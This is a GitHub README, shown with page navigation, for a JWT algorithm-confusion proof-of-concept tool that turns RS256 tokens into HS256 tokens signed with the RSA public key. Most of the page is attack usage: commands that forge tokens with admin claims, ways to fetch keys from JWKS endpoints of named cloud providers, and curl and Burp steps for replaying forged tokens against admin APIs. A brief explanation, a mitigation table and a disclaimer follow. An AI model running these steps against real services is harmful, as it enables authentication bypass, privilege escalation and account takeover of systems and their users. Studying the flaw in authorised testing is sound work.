Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

ย 

History

History
History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
ย 
ย 
ย 
ย 

README.md

Outline

๐Ÿ” JWT Algorithm Confusion Attack POC

Python Security JWT Stars

๐Ÿš€ Transform RS256 โ†’ HS256 & Unlock Admin Access! ๐Ÿš€

"When applications expect RSA but accept HMAC, the public key becomes the secret key"


โšก What is This About?

Ever wondered what happens when a JWT application expects RSA-signed tokens (RS256) but accidentally accepts HMAC-signed tokens (HS256)?

BOOM! ๐Ÿ’ฅ You can use the RSA public key as an HMAC secret to forge valid admin tokens! This is the digital equivalent of using someone's house key as a master key for the entire neighborhood.

๐ŸŽฏ Attack Overview

graph LR
    A[Original JWT<br/>RS256] -->|Algorithm: RS256| B[Server expects RSA]
    C[Forged JWT<br/>HS256] -->|Algorithm: HS256| D[Server accepts HMAC]
    E[RSA Public Key] -->|Used as| F[HMAC Secret]
    C -->|Signed with| E
    style A fill:#ffcccc
    style C fill:#ccffcc
    style E fill:#ccccff
Loading

๐Ÿ› ๏ธ Features

Feature Description Status
๐Ÿ” JWT Analysis Decode and analyze JWT tokens โœ…
๐Ÿ”‘ Key Extraction Auto-fetch from JWKS endpoints โœ…
๐Ÿ”„ Algorithm Swap RS256 โ†’ HS256 conversion โœ…
๐Ÿ—๏ธ Token Forging Create admin-level tokens โœ…
๐Ÿงช Multiple Formats Test various key formats โœ…
๐ŸŽฏ Manual Mode Interactive key input โœ…
๐Ÿ“ Output Options Save forged tokens to file โœ…

๐Ÿš€ Quick Start

Prerequisites

pip install pyjwt cryptography requests termcolor

Method 1: Using Existing JWT + Public Key

# Basic attack
python jwt_confusion.py -j "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..." -k public_key.pem

# With custom admin claims
python jwt_confusion.py -j "your.jwt.token" -k public_key.pem -p '{"role":"admin","user":"superadmin"}'

# Save output to file
python jwt_confusion.py -j "your.jwt.token" -k public_key.pem -o forged_admin_token.txt

Method 2: Auto-Fetch from JWKS

# Auto-fetch public key from JWKS
python jwt_confusion.py -j "your.jwt.token" -jwk "https://target.com/.well-known/jwks.json"

Method 3: Manual Mode (Interactive)

# Interactive mode - I'll help you get the key!
python jwt_confusion.py -j "your.jwt.token" --manual

๐ŸŽฎ Demo Mode

# Test with generated keys
python jwt_confusion.py --demo

๐Ÿ“‹ Usage Examples

Example 1: Basic Attack

$ python jwt_confusion.py -j "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidXNlcjEifQ..." -k public_key.pem

[SUCCESS] Forged token created!
Forged JWT Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.signature_here

Example 2: Auto-Fetch + Custom Claims

$ python jwt_confusion.py -j "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..." -jwk "https://auth.example.com/.well-known/jwks.json" -p '{"admin":true,"permissions":["*"]}'

[SUCCESS] Public key obtained from JWKS!
[SUCCESS] Forged token created with custom claims!

Example 3: Manual Mode (Getting Keys)

$ python jwt_confusion.py -j "your.jwt.token" --manual

[JWT Analysis]
Algorithm: RS256
Key ID: kid-123
Issuer: https://auth.example.com

[Choose Method to Get Public Key]
1. Auto-find JWKS endpoint
2. Use issuer well-known endpoints  
3. Manual conversion tools
4. Show me what to look for in browser

Enter choice (1-4): 1

๐Ÿ” How to Get Public Keys

Method 1: JWKS Endpoint

https://[domain]/.well-known/jwks.json
https://[domain]/jwks.json

Method 2: From JWT Issuer

Decode your JWT โ†’ Get iss claim โ†’ Try:

https://[issuer]/.well-known/openid-configuration

Method 3: Cloud Provider Endpoints

Provider Endpoint Pattern
Auth0 https://[domain]/.well-known/jwks.json
AWS Cognito https://cognito-idp.[region].amazonaws.com/[pool-id]/.well-known/jwks.json
Azure AD https://login.microsoftonline.com/[tenant]/discovery/v2.0/keys
Firebase https://www.googleapis.com/service_accounts/v1/jwk/securetoken@system.gserviceaccount.com
Okta https://[domain].okta.com/oauth2/v1/keys

๐Ÿงช Testing Your Forged Token

Using curl:

curl -H "Authorization: Bearer YOUR_FORGED_TOKEN" https://target.com/api/admin

Using Burp Suite:

  1. Capture the original request
  2. Replace JWT with forged token
  3. Forward request
  4. ๐ŸŽ‰ Profit!

Common Headers to Test:

Authorization: Bearer <token>
X-JWT-Token: <token>
Cookie: jwt=<token>
X-Auth-Token: <token>

๐Ÿ›ก๏ธ Vulnerability Explanation

The Problem:

// Original Token (RS256)
{
  "alg": "RS256",
  "typ": "JWT"
}
// Server expects: RSA signature verification

// Forged Token (HS256) 
{
  "alg": "HS256",
  "typ": "JWT"
}
// Server accepts: HMAC verification using public key as secret!

Why It Works:

  • RS256: Uses asymmetric crypto (private key signs, public key verifies)
  • HS256: Uses symmetric crypto (same key for sign/verify)
  • When server accepts both โ†’ public key becomes the shared secret!

๐Ÿšจ Mitigation Recommendations

Vulnerability Fix
Algorithm Confusion Explicitly specify allowed algorithms
Key Type Mismatch Verify key type matches algorithm
Algorithm Trust Don't trust JWT header alg field
Multiple Algorithms Disable HS256 if only RS256 needed

๐ŸŽฏ Real-World Impact

  • Privilege Escalation: User โ†’ Admin
  • Authentication Bypass: No login required
  • Account Takeover: Impersonate any user
  • Data Access: Read/modify protected resources

Further Reading:

โš ๏ธ Legal Disclaimer

This tool is for educational and testing purposes only!
โš ๏ธ Use only on systems you own or have explicit permission to test
โš ๏ธ Unauthorized use may violate laws and regulations
โš ๏ธ The authors are not responsible for misuse

๐Ÿ”ฅ Happy Hacking! ๐Ÿ”ฅ


Made with โค ๏ธ by the Presh-Cyber


Morty Proxy This is a proxified and sanitized view of the page, visit original site.